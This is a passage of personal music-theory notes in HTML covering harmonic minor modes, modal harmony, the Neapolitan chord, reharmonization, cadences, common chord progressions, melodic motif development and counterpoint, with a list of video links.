                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">dim7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Locrian nat6</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">dim7</td>
                    <td style="text-align: left;">min(maj7)</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Ionian #5</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">dim7</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">m7b5</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Ukranian dorian</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">dim7</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7#5</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Phrygian dominant</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">dim7</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">min7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Lydian #2</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">dim7</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Superlocrian bb7</td>
                    <td style="text-align: left;">dim7</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">maj7</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>It can be commonly seen in minor II-V-I
                    progressions, at least partly. For example a
                    <code>Dm7b5 - G7b9 - Cm7</code>. The first two
                    chords imply the harmonic minor, but the last one
                    resolves to <code>Cm7</code>, which could be a
                    <code>C aeolian, dorian, or phrygian</code>. We
                    could fully resolve a <code>II-V-I</code> cadence as
                    <code>Dm7b5 - G7b9 - Cmin(maj7)</code>, which is
                    quite dissonant but can work beautifully to convey
                    the <code>harmonic minor</code> flavour. A
                    <code>Cm6</code> would also be a suitable candidate
                    for the <code>I</code> chord, which sounds somewhat
                    in between regular minor and harmonic minor.</p>
                    <h3 id="modal-harmony">Modal harmony</h3>
                    <p>When we want to emphasize the sound of the
                    different modes of the major or minor scales, we
                    probably want to stay away from functional harmony.
                    Tonic, subdominant, dominant are not important, and
                    we want to avoid using dominant or (half)diminished
                    chords, since they strongly want to resolve. Instead
                    we want to focus on the tonic chord of the mode and
                    try to emphasize the notes characteristic to that
                    modal sound. It is also possible to use ambiguous
                    chords to add variety (such as sus chords or add9
                    chords).</p>
                    <p>In this type of harmony we have modal tonic
                    chords (I III VI), built on the root note and modal
                    cadence chords (II IV V VII) which want to return to
                    the tonic. One thing we can do is to use “lateral
                    chords”, which are chords that are next to the modal
                    tonic. An example in the key of C is presented
                    below.</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Mode name</th>
                    <th style="text-align: left;">VII</th>
                    <th style="text-align: left;">I</th>
                    <th style="text-align: left;">II</th>
                    <th>Focus notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Ionian</td>
                    <td style="text-align: left;">Bdim</td>
                    <td style="text-align: left;">C</td>
                    <td style="text-align: left;">Dm</td>
                    <td></td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dorian</td>
                    <td style="text-align: left;">C</td>
                    <td style="text-align: left;">Dm</td>
                    <td style="text-align: left;">Em</td>
                    <td>B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Phrygian</td>
                    <td style="text-align: left;">Dm</td>
                    <td style="text-align: left;">Em</td>
                    <td style="text-align: left;">F</td>
                    <td>F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Lydian</td>
                    <td style="text-align: left;">Em</td>
                    <td style="text-align: left;">F</td>
                    <td style="text-align: left;">G</td>
                    <td>B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Mixolydian</td>
                    <td style="text-align: left;">F</td>
                    <td style="text-align: left;">G</td>
                    <td style="text-align: left;">Am</td>
                    <td>F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Aeonian</td>
                    <td style="text-align: left;">G</td>
                    <td style="text-align: left;">Am</td>
                    <td style="text-align: left;">Bdim</td>
                    <td></td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Locrian</td>
                    <td style="text-align: left;">Am</td>
                    <td style="text-align: left;">Bdim</td>
                    <td style="text-align: left;">C</td>
                    <td>C#,F#</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>We don’t have to stick exclusively with lateral
                    chords. We previously presented a table with 7th
                    chords for the different modes, which we can still
                    use, we just have to be careful not to use dominant
                    <code>7</code> and half diminished <code>m7b5</code>
                    chords, opting instead for minor/major triads or
                    suspended chords. The same idea would apply to upper
                    extension notes, avoid using extensions that may
                    create tritonal sounds or tensions.</p>
                    <p>Avoid using too many chords in modal harmony and
                    make sure to repeat the tonic of the mode thoroughly
                    for best results. Using pedal tones and
                    suspended/add9 chords may help keep the modal
                    flavour</p>
                    <p>When writing a modal melody, we want to emphasize
                    the distinct intervals and focus notes for the
                    mode:</p>
                    <ul>
                    <li>Dorian (Im): Focus on note 6 and intervals
                    II-III and VI-VII</li>
                    <li>Phrygian (Im): Focus on note b2 and intervals
                    I-II and V-VI</li>
                    <li>Lydian (I): Focus on note b5 and intervals IV-V
                    and VII-I</li>
                    <li>Mixolydian (I): Focus on note b7 and intervals
                    III-IV and VI-VII</li>
                    <li>Locrian (Im): Focus on notes b2 and b5 and
                    intervals I-II and IV-V</li>
                    </ul>
                    <h3 id="neapolitan-chord">Neapolitan chord</h3>
                    <p>There is a special type of chord and not to be
                    confused with the previously discussed 6th chords.
                    The 6th in this case refers to a classical chord
                    inversion. The name is not too important however,
                    but rather is best to know how to use it. It was
                    used quite a bit in European classical music in the
                    minor <code>IV - V - I</code> cadence (though the
                    concept could still be applied in major tonality).
                    In the case of <code>A minor</code>, we can borrow
                    the dominant from the harmonic scale, resulting in
                    <code>Dm - E7 - Am</code>. This cadence doesn’t
                    really have such a strong subdominant to dominant
                    flavour, but if instead we flatten the fifth of the
                    D minor chord resulting in <code>Dmb5</code> or
                    <code>A#/D</code> we call this the Neapolitan 6. The
                    cadence is thus <code>N6-V7-Im</code> or
                    <code>Dmb5 - E7 - Am</code> or
                    <code>A#/D - E7 - Am</code>. The notation can get
                    confusing, but the concept is not so complicated.
                    This cadence have a lot of classical flavour and
                    could be something to consider in compositions, even
                    when is not very used in popular music today. I’ve
                    seen some diagrams that describe the use of N6
                    cadence by Chopin by following a
                    <code>VII-II-VI</code> to an subdominant option
                    (<code>IIdim</code>, <code>N6</code> or
                    <code>IVm</code>) which either goes back to the
                    <code>VII</code> or moves to the dominant
                    (<code>V</code> or <code>VIIdim</code>) that finally
                    resolves into the <code>I</code>.</p>
                    <h3 id="reharmonization">Reharmonization</h3>
                    <p>Jazz musicians have a lot of fun taking popular
                    songs in the form of “Jazz Standards” and making
                    complicated arrangements. This technique can be used
                    in any style of music if we are adventurous. To
                    reharmonize a song is to change the chords and/or
                    their harmonic rhythm. Sometimes this also involve
                    changing the melody to fit with the new set of
                    chords. Even though one can go “all in” to change
                    absolutely everything about a song, sometimes is
                    more effective to modify some bars or sections
                    sparingly or after the original chord progression
                    has been heard. The techniques described here can be
                    used for the purpose of reharmonization but also to
                    spice up chord progressions during composition.</p>
                    <ul>
                    <li>Add 7th and extensions.</li>
                    <li>Diatonic/functional harmonization: Exchanging
                    chords with the same functional harmony (tonic,
                    subdominant, dominant).</li>
                    <li>Vary the harmonic rhythm. In other words, change
                    where the chords fell within the beat (e.g. going
                    from one chord per bar to two).</li>
                    <li>Tritone substitution: Replace a V7 chord by one
                    a V interval below or bV above it (tritone).</li>
                    <li>Secondary dominant substitution: A non dominant
                    chord can be substituted by its secondary dominant a
                    <code>V</code> interval above it. The secondary
                    dominant can also be inserted before the chord
                    instead of replacing it to also change the harmonic
                    rhythm. In other times the secondary dominant can be
                    preceded by its relative <code>II</code> to create a
                    <code>II-V</code> cadence.</li>
                    <li>Add chromaticism: When going from one chord to
                    another found 1 whole tone away, a chord could be
                    inserted between the two to smooth the voice
                    leading.</li>
                    <li>Borrow chords from other modes from the major
                    scale (or melodic minor).</li>
                    <li>Change the key to their relative minor/major.
                    For example if the initial scale was in
                    <code>C major</code> we swap our chords to the
                    <code>C minor</code> mode.</li>
                    <li>Replace some dominant chords with the altered
                    chords.</li>
                    <li>Add a suspended chord before a dominant:
                    <code>7 -&gt; 7sus - 7</code>. You can also replace
                    the II or the V in a <code>II - V - I</code> with a
                    suspended chord.</li>
                    <li>Add a diminished chord where any of their notes
                    is half step below, below or at an existing
                    chord.</li>
                    <li>Change some chords to be augmented to act as a
                    dominant <code>aug</code>.</li>
                    <li>Use different types of harmony (chromatic
                    mediants or quartal/quintal).</li>
                    </ul>
                    <h3 id="cadences">Cadences</h3>
                    <p>Cadences are a form of music punctuation that
                    marks the end of a chord progression. Just like we
                    need commas and periods when writing English, so do
                    we need cadences when writing music. Cadences create
                    a tension that want to resolve to a more stable
                    sound, creating a sense of pull. There are different
                    types of cadences which create different
                    effects.</p>
                    <ul>
                    <li>Perfect/Authentic cadence: <code>V7-I</code>
                    <ul>
                    <li>Feels like a full-stop.</li>
                    <li>Reduces momentum/energy.</li>
                    <li>Saved for the ending of a whole piece, section
                    or phrase.</li>
                    <li>The strong pull is due to the functional
                    tritone.</li>
                    </ul></li>
                    <li>Plagal cadence: <code>IV-I</code>
                    <ul>
                    <li>Feels like a full-stop, but less so than the
                    authentic cadence.</li>
                    <li>Reduces momentum/energy.</li>
                    <li>Saved for the ending of a whole piece, section
                    or phrase but could be used in the</li>
                    </ul></li>
                    <li>Imperfect cadence:
                    <ul>
                    <li>Can be seen as musical commas.</li>
                    <li>Going from a <code>I</code>, <code>II</code> or
                    <code>IV</code> chord to <code>V</code>.</li>
                    </ul></li>
                    <li>Deceptive cadence: <code>V7 - VI</code> or
                    <code>V7-III</code>
                    <ul>
                    <li>Resolves to a chord other than the root.</li>
                    <li>Typically in a major key: <code>V7-IIIm</code>
                    or <code>V7-VIm</code>.</li>
                    <li>Typically in a minor key:
                    <code>V7-III</code>.</li>
                    <li>The <code>V-VI</code> is sometimes called
                    interrupted cadence.</li>
                    <li>Ends the progression without reducing
                    momentum/energy.</li>
                    <li>Can be used anywhere in the middle of the
                    piece.</li>
                    </ul></li>
                    <li>Half cadence: <code>V7</code>
                    <ul>
                    <li>Ends a progression with the <code>V7</code>
                    chord.</li>
                    <li>Can be used to connect two chord progressions
                    (For example an A and B section).</li>
                    <li>The next chord progression resolves the cadence
                    with either a <code>I</code>, <code>IIIm</code> or
                    <code>VIm</code>.</li>
                    <li>Creates movement/momentum.</li>
                    </ul></li>
                    </ul>
                    <p>When working with modal music, we don’t often see
                    the same types of cadences or movement. In general
                    <code>V7</code> is not used often in modal cadences.
                    We want to make emphasis on the “characteristic
                    notes” of a mode. So for modal cadences, we use any
                    chord that contain these notes as a substitute for
                    the <code>V7</code>. For example, when working with
                    a Dorian mode
                    (<code>Im-IIm-III-IV7-Vm-VI7b5-VII</code>) our tonic
                    being <code>Im</code> and both <code>IV</code> and
                    <code>IIm</code> containing the characteristic
                    notes. We can use <code>IV-Im</code> or
                    <code>IIm-I</code> as a pseudo-authentic cadence.
                    All types of cadences are possible but in general,
                    working with modal music, try to use authentic or
                    half-cadences.</p>
                    <h3 id="common-chord-progressions">Common chord
                    progressions</h3>
                    <ul>
                    <li>Andalusian cadence: <code>Im-bVII-bVI-V7</code>.
                    For variety the V7 chord could become a diatonic Vm
                    instead or we could come back to the bVII.</li>
                    <li>Neapolitan: <code>IVmb5-V7-Im</code>.</li>
                    <li>Jazz bread and butter (minor/major 2-5-1s):
                    <code>IIm7-V7-Imaj7</code>,
                    <code>IIm7b5-V7-Im7</code>. Already mentioned
                    thoroughly on these notes, just remember that
                    sometimes we can also chain II-Vs without resolving
                    to the I. Very useful for changing keys.</li>
                    <li>Jazz legos: Small building blocks of many a Jazz
                    standard. <code>I-IV</code>, <code>IV-V-I</code>,
                    <code>IV-IVm</code></li>
                    <li>Walking in 4ths: <code>V7-I7-IV7-bVII7...</code>
                    We don’t always have to use dominant chords, but the
                    dominant cadence is a useful way of moving between
                    keys.</li>
                    <li>Key modulation a whole step via minor relative:
                    <code>IIm-V7-I</code> then <code>Im</code> acting a
                    <code>IIm</code>. For example:
                    <code>Dm-G7-C-Cm-F7-A#</code></li>
                    <li>Turnaround progression: Coming back to the tonic
                    by walking the circle of fifths
                    <code>VIm-IIm-V-I</code> or
                    <code>IIIm-VIm-IIm-V-I</code>.</li>
                    <li>Pop music cliché:
                    <ul>
                    <li><code>I-V-VIm-IV</code>,
                    <code>VIm-IV-I-V</code>, <code>IV-I-V-VIm</code>,
                    <code>I-IV-VIm-V</code></li>
                    <li><code>I-VIm-V-IV</code></li>
                    <li><code>Im-VI-IVm-V</code></li>
                    <li><code>Im-VI-VI-VII</code></li>
                    <li>Major flavour: <code>I-V-IV-V</code></li>
                    <li>Mixolydian flavour:
                    <code>I-bVII-IV-I</code></li>
                    <li>Plagal cascade (moving down by perfect 4ths or
                    up by 5ths): <code>Im-bIII-bVII-IV</code></li>
                    <li><code>Im-bVII-Vm-bVI</code></li>
                    <li><code>I-V-IIm-IV</code></li>
                    <li>Japanese:
                    <ul>
                    <li><code>IV-V-IIIm-VIm</code></li>
                    <li><code>IV-IIIm-VIm</code> with a
                    <code>V-IV</code> or <code>II7-V</code>
                    cadence.</li>
                    <li><code>IV-V7-VI</code></li>
                    </ul></li>
                    </ul></li>
                    <li>Basic 12bar blues:
                    <code>|I7 |I7 |I7 |I7 |IV7|IV7|I7 |I7 |V7 |IV7|I7 |I7 |</code></li>
                    <li>Rhythm changes:
                    <ul>
                    <li>A:
                    <code>|I-VI7  |IIm-V7 |I-VI7  |IIm-V7 |I-I/III|IV-Idim|I/V-VI7|IIm-V  |</code></li>
                    <li>B:
                    <code>|III7   |III7   |VI7    |VI7    |II7    |II7    |V7     |V7     |</code></li>
                    </ul></li>
                    </ul>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a href="https://youtu.be/OWo-9tCZj04">Harmony
                    for Composers Series</a></li>
                    <li><a href="https://youtu.be/_7hMEfWTWpM">How to
                    write a modal chord progression (that sounds
                    modal)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=yKV58VVGV9k&amp;ab_channel=GavinLeeper">Sakamoto,
                    Hisaishi, et. al. - Common Japanese Chord
                    Progressions</a></li>
                    <li><a href="https://youtu.be/3aRBWDHE4g8">Cadences
                    - The 4 types explained - Perfect, Plagal,
                    Imperfect, Interrupted</a></li>
                    <li><a href="https://youtu.be/ouOXGEkLSSc">The
                    perfect cadence - Music theory</a></li>
                    <li><a href="https://youtu.be/N_hYsHcxwUo">The
                    plagal cadence - Music theory</a></li>
                    <li><a href="https://youtu.be/GBVv8_K9SK4">The
                    interrupted cadence - Music theory</a></li>
                    <li><a href="https://youtu.be/7PMtz8bpS8g">The
                    imperfect cadence - Music theory</a></li>
                    <li><a href="https://youtu.be/N-gFpSl1WwA">Quick
                    theory: Cadences (Tabletop composer)</a></li>
                    <li><a href="https://youtu.be/VCEqP8DhhH0">Quick
                    theory: Cadences in modal music (Tabletop
                    composer)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=Z4MSF3hIznE">How
                    to modulate to ANY key</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=wZDovmEYM-U">Mediant
                    Chords</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=tDPLt9u7gQ8">Harmonic
                    Planning</a></li>
                    </ul>
                    <h2 id="melody">Melody</h2>
                    <p>Melody is another cornerstone of music, together
                    with harmony and rhythm. Writing melody is sometimes
                    intuitive, but there are some guidelines that can
                    help us make more memorable pieces. First of all, we
                    need to focus on motifs. Motifs are small units of
                    music that can be repeated and develop to create
                    phrases and progressions. Melodies are not made only
                    of motifs, but they are a powerful tool in our
                    melodic toolbox. Motifs can be achieved by taking a
                    sequence of notes and creating variation in one or
                    two of the following types:</p>
                    <ul>
                    <li>Pitch</li>
                    <li>Rhythm</li>
                    <li>Dynamics</li>
                    <li>Articulation</li>
                    <li>Timbre</li>
                    <li>Register</li>
                    </ul>
                    <p>Note that we can have variation of more than two
                    types, but commonly is best to focus on one or two
                    of these options.</p>
                    <p>Once a motif is established, it is typically
                    developed throughout the song. One of these
                    strategies for development is the PReVaDe method.
                    Here a motif repeats four times, creating a single
                    phrase:</p>
                    <ul>
                    <li>Present: The motif is introduced.</li>
                    <li>Repeat: The motif repeats with little to no
                    variation.</li>
                    <li>Variation: The motif repeats with larger
                    variation.</li>
                    <li>Deconstruct: The motif is changed to end the
                    phrase.</li>
                    </ul>
                    <p>The general, we add variation to a motif via
                    rhythmic or melodic changes. That is, changing
                    tempo, rhythm or the notes in the motif.</p>
                    <ul>
                    <li>Rhythmic variation:
                    <ul>
                    <li>Augmentation &amp; Diminution: Slows/speeds the
                    tempo or increase/decrease the note values by the
                    same ratio (e.g. double the duration, half the
                    duration)</li>
                    <li>Rhythmic transformation (Additive/subtractive):
                    Where only specific notes are
                    lengthened/shortened.</li>
                    <li>Metric displacement: Move a motif to start on a
                    different beat. For example if it started on the 1st
                    beat of a bar, it could be moved to the 2nd
                    instead.</li>
                    <li>Time signature change: With our without rhythmic
                    transformation.</li>
                    <li>Accentuation: Inserting accents at either
                    regular intervals or irregular intervals.</li>
                    </ul></li>
                    <li>Melodic variation:
                    <ul>
                    <li>Sequencing: Moving a motif up or down
                    chromatically or diatonically (Changing some
                    intervals of the motif to ensure we are still in
                    key).</li>
                    <li>Melodic inversion: Interval remain the same but
                    the direction they move in swaps (ascending to
                    descending and viceversa). This could also be done
                    exactly or diatonically.</li>
                    <li>Retrograde: Playing the motif backwards. This
                    can happen in three ways:
                    <ul>
                    <li>Complete retrograde: The motif is played
                    backwards exactly.</li>
                    <li>Rhythmic retrograde: The pitch is the same but
                    the rhythm is inverted.</li>
                    <li>Melodic retrograde: The rhythm is the same but
                    the pitch is inverted.</li>
                    </ul></li>
                    <li>Fragmentation: Break a motif into smaller parts
                    that can be moved, replaced or changed.</li>
                    <li>Expansion/contraction: Increase/decrease the
                    interval between two notes in the motif.</li>
                    <li>Embellishment: Adding decorative tones, which
                    may make necessary to change the value of some of
                    the other notes or remove them to accomodate for the
                    addition.</li>
                    <li>Reduction: Notes are removed from the original
                    motif.</li>
                    <li>Reconstruction: A motif that has previously
                    being reduced is presented again with new
                    decorations.</li>
                    </ul></li>
                    </ul>
                    <p>A melody consists on a series of musical phrases.
                    Phrases are typically longer and express a complete
                    melodic idea with a beginning, development and end.
                    Phrases can be categorized as 1) mono-motivic vs
                    poly-motivic phrases or 2) question vs answer
                    phrases.</p>
                    <p>The beginning section of a phrase establishes the
                    motivic material (it can be a variation of the
                    primary motif of the piece). During the development
                    of the phrase is where we encounter the main
                    differences between categories.</p>
                    <p>In mono-motivic phrases, a single motif is
                    developed as previously described with the goal of
                    getting closer or reaching a “local peak”, the
                    purpose of the phrase. The “local peak” is the
                    moment of high/low intensity that culminates the
                    different musical parameters (rhythm, pitch,
                    harmony, etc.). The ending of mono-motivic phrases
                    happens after the peak, ending the phrase with some
                    musical punctuation (more on that later).</p>
                    <p>Poly-motivic phrases contain more than one motif
                    (typically two, but can have more). These phrases
                    typically don’t focus on a local peak, but instead
                    walks towards the additional motifs from the one
                    introduced on the beginning. Each of the motifs can
                    be further developed in later phrases. The ending
                    happens at after or during the final motif and is
                    also established using musical punctuation.</p>
                    <p>Question vs answer is a typical construction in
                    music, where a musical phrase (question) presents an
                    idea but it doesn’t feel complete when it ends. A
                    later phrase (answer) can use the same ideas
                    presented on the question but making a statement
                    much more final. This concept is a bit abstract when
                    described like this, but musical punctuation help us
                    identify or write question or answer phrases. Every
                    ending section must contain at least two “answer” or
                    two “question” parameters. The following are some
                    “answer phrase” parameter traits, and in general
                    “question phrase” traits are opposite to them (down
                    vs up, etc.).</p>
                    <ul>
                    <li>Melodic punctuation:
                    <ul>
                    <li>Smooth the ending, using smaller intervals.</li>
                    <li>Moves down in pitch.</li>
                    <li>Ends in a familiar register (don’t move to new
                    octaves).</li>
                    </ul></li>
                    <li>Harmonic punctuation:
                    <ul>
                    <li>Resolve to the tonic.</li>
                    <li>Reinforce a cluster chord with an octave or V
                    interval in the lower two voices.</li>
                    <li>Only use consonant intervals between harmonic
                    voices.</li>
                    <li>End a stepwise baseline with a leap.</li>
                    <li>Highest and lowest voices in the harmony move
                    towards each other.</li>
                    <li>Slow down the harmonic rhythm near the end of
                    the phrase.</li>
                    </ul></li>
                    <li>Rhythmic punctuation:
                    <ul>
                    <li>Slows down the rhythm.</li>
                    <li>Ends on a strong beat.</li>
                    <li>Pause momentarily.</li>
                    </ul></li>
                    <li>Dynamic punctuation:
                    <ul>
                    <li>Decrease in volume.</li>
                    </ul></li>
                    <li>Texture punctuation:
                    <ul>
                    <li>Reduce the number of instruments playing.</li>
                    <li>Reduce the number of registers being used.</li>
                    </ul></li>
                    </ul>
                    <p>As each phrase have a “local peak”, phrases can
                    be grouped together into a paragraph/section. These
                    sections have their own “section peaks” and when all
                    put together in a song, the sections form a peak of
                    their own (the climax of the song). In a paragraph,
                    the phrases must use similar motivic and thematic
                    material. The thematic material of the next section
                    must build on different material. Paragraphs tell
                    different parts of the same story. It is generally a
                    good idea of starting compositions with the climax
                    of the song in mind, since the different phrases and
                    sections must build to it.</p>
                    <h3 id="chromatic-inversion">Chromatic
                    inversion</h3>
                    <p>Chromatic inversion is the process of turning a
                    melody into another by inverting the direction of
                    the intervals of an existing motif. For example in a
                    melody with <code>A C B A</code> we move up a bIII,
                    down a bII and down II. If we instead move down
                    bIII, up bII and up II we get <code>A F# G A</code>.
                    This technique could be used to generate new ideas
                    from existing songs or to create motif variations
                    for development within a single piece.</p>
                    <h3 id="counterpoint">Counterpoint</h3>
                    <p>Music is composed in counterpoint when multiple
                    melodic voices have lines that are independently of
                    one another, sound good independently and when
                    paired together. Widely used in the Baroque period
                    by Bach, Hayden et al. To maintain independence, we
                    want to avoid lines that when played together form
                    consecutive 5ths or octaves. Sometimes, however this
                    unification effect can be used, specially when
                    finishing on a V-I cadence. This means we can
                    have:</p>
                    <ul>
                    <li>Parallel motion: The voices move the same number
                    of intervals (a major 3rd). For example, if the
                    “cantus firmus” (CF) or initial melody goes from G
                    to E (minor third), the notes from another voice has
                    to move the same amount. If we can’t move the exact
                    same interval lest we go out of key, but we are
                    close enough, we call this “similar motion”. Both of
                    these are considered “direct motion”.</li>
                    <li>Oblique motion: The fixed melody changes in
                    pitch but the counterpoint remains stationary.</li>
                    <li>Contrary motion: Two voices move in opposite
                    directions, that is, one voice moves down and
                    another one moves up.</li>
                    </ul>
                    <p>Once of the techniques that we can use is to
                    stagger the voice movement. For example, if a voice
                    is moving then another one awaits. Let’s explore
                    some guidelines for classical counterpoint. First of
                    all, it is normally classified in several “levels”
                    (1-5) in order of increasing complexity.
                    Counterpoint is typically studied in exercises.</p>
                    <ul>
                    <li>The CF always start and end on the root
                    note.</li>
                    <li>The I, III and V scale degrees are considered
                    stable/consonant. II, IV and VI have a tendency to
                    resolve down. The VII tries to resolve down.</li>
                    <li>We can have three types of intervals:
                    <ul>
                    <li>Perfect consonance (I, V, VIII). Try to avoid
                    using these more than once in a row, since they put
                    a stop to the melodic rhythm.</li>
                    <li>Imperfect consonances (III, VI, X). The most
                    useful, voices sound in agreement but they create a
                    smooth melodic rhythm.</li>
                    <li>Dissonances (II, IV, VII). Unstable, they are
                    very good for creating voice leading independance.
                    Not used in 1:1 counterpoint.</li>
                    </ul></li>
                    <li>Leaps wider than a 3rd tends to turn to resolve
                    in the opposite direction.</li>
                    <li>If the counterpoint melody starts above the CF,
                    it can start on the 1st, 3rd, or 5th of the scale.
                    If it starts below the melody, serving as a
                    baseline, it must start on the I.</li>
                    <li>Try to use contrary motion, oblique motion,
                    similar motion, and parallel motion in that order of
                    priority.</li>
                    <li>We want an unpredictable type of motion to
                    create interest.</li>
                    <li>Level 1 (1:1 counterpoint):
                    <ul>
                    <li>For every note in the CF, only one note is added
                    to go with it.</li>
                    <li>No dissonant harmonic intervals.</li>
                    <li>Don’t use direct motion to a perfect
                    consonance.</li>
                    <li>A suggested approach is to start with the
                    ending, since the final cadence is already known,
                    then pick a starting point that allows both melodies
                    to develop, and make sure both melodies “peak”
                    (reach their highest note) at different times.</li>
                    </ul></li>
                    <li>Level 2 (2:1 counterpoint):
                    <ul>
                    <li>Add two notes for every note of the CF.</li>
                    <li>We can start thinking on accentuation as well. A
                    2/2 typically follows a D-U-D-U…, where the downbeat
                    (D) is accentuated and the upbeat (U) is not, which
                    is what we dind in 2:1 counterpoint (Duple
                    meter).</li>
                    <li>Consonance intervals may happen on either the D
                    or the U.</li>
                    <li>We can use dissonant intervals as passing tones
                    (must occur on the upbeat and approached and left by
                    step motion in the same direction).</li>
                    <li>Avoid parallel perfect intervals (V, VIII) in
                    consecutive downbeats, but can be used in
                    consecutive upbeats.</li>
                    <li>No tone repetitions in 2:1 counterpoint, as this
                    could be considered 1:1.</li>
                    <li>Perfect unisons are allowed on the upbeat.</li>
                    <li>Can begin as in 1:1 but also with a
                    silence.</li>
                    </ul></li>
                    <li>Level 3.1 (3:1 counterpoint):
                    <ul>
                    <li>Composed in 3/4 meter (D-U-U-D-U-U…) with 3
                    notes per CF note.</li>
                    <li>As before, the dissonances can go on the upbeats
                    (U).</li>
                    <li>In addition to the dissonant passing tone, here
                    we can have a dissonant neighbor tone. These are
                    dissonant tones approached by a step by left by a
                    step in the opposite direction, instead of the same
                    one.</li>
                    <li>In summary: consonance on any beat, dissonant
                    passing tones on beats 3 or 3 and dissonant neighbor
                    tones only on beat 2, and we can use embellishing
                    tones that form a 5-3-5 or 6-3-6 pattern. It should
                    end on a 6-5-6-1 or 3-5-6-1 cadence if the
                    counterpoint is above or a 5-4-3-1 or 3-4-3-1 if
                    below.</li>
                    </ul></li>
                    <li>Level 3.2 (4:1 counterpoint):
                    <ul>
                    <li>Composed in 4/4 meter (D-U-U-U,D-U-U-U…) with 4
                    notes per CF note. The downbeat is the same as
                    before, containing consonant intervals only, beats 2
                    and 4 are the weakest and can have dissonances or
                    consonancesi. Beat 3 is typically accented and
                    usually form consonances but is capable of having
                    dissonances under certain circumstances.</li>
                    <li>Dissonant neighbours are still not allowed on
                    the final beat of a measure (Beat 4 in this
                    case).</li>
                    <li>We can have accented dissonances (beat 3) as
                    passing tones or neighbour tones when beats 2 and 4
                    are perfect consonances.</li>
                    <li>We can have two dissonances on beats 2 and 3
                    (double neighbour).</li>
                    </ul></li>
                    <li>Level 4 (Suspensions):
                    <ul>
                    <li>A silence in the first beat where each
                    counterpoint tone is hold by the same amount as the
                    CF, creating syncopation.</li>
                    <li>The counterpoint note must be prepared as a
                    consonance on the previous upbeat.</li>
                    <li>Resolves down by step to consonance on
                    subsequent upbeat. Typically 7-6-1 (above) or 2-3-1
                    (below).</li>
                    </ul></li>
                    <li>Level 5 (Florid counterpoint):
                    <ul>
                    <li>The combination of all previous techniques in
                    4/4 time, as with 4:1, with free rhythm.</li>
                    <li>Suspension elaborations: When we change the
                    ending note of a suspension with two quarter notes.
                    We can have repetition or anticipate the tone of
                    resolution. We can also leap to an innervoice chord
                    member as embelihsing tone. We can also use 8th note
                    elaborations.</li>
                    <li>Eight-note fills: Fill the span of a 4th
                    ascending/descending and occurring on a weak beat (2
                    or 4).</li>
                    <li>We can also use dotted half-notes.</li>
                    <li>Try to have a rhythmic arc, blending different
                    durations instead of having clusters of rhythms.
                    Rhythm arcs heighten or slows the intensity of a
                    melody.</li>
                    </ul></li>
                    </ul>
                    <h4 id="a-contemporary-approach">A contemporary
                    approach</h4>
                    <p>As with the classical approach, we need:</p>
                    <ul>
                    <li>Cantus firmus (CF): The original melody</li>
                    <li>Counterpoint line (CP): A new melodies written
                    to compliment the CF</li>
                    </ul>
                    <p>The CF and CP lines must be rhythmically
                    independent while being rhythmically and
                    harmonically complementary. A CP line should try to
                    offer rhythmic contrast to the CF keeping the 1:2,
                    1:3 and 1:4 ratios in mid.</p>
                    <p>We need to try to keep “consonant” intervals
                    between melodic lines on strong beats and where all
                    notes start at the same time.</p>
                    <ul>
                    <li>Consonant: bIII, III, IV, V, #V, VI, VIII</li>
                    <li>Dissonant: bII, II, IV, bV, bVII, VII</li>
                    </ul>
                    <p>With regards to motion:</p>
                    <ul>
                    <li>Contrary motion: Voices move in opposite
                    direction. Add energy and highlight
                    independence.</li>
                    <li>Parallel: Voices move in the same direction by
                    the same interval. Use with care, since it removes
                    independence.</li>
                    <li>Similar: Voices move in the same direction by
                    different intervals. Creates unity without the
                    issues of parallel movement.</li>
                    <li>Oblique: One voice moves another doesn’t. Adds
                    energy but not as much as contrary motion.</li>
                    </ul>
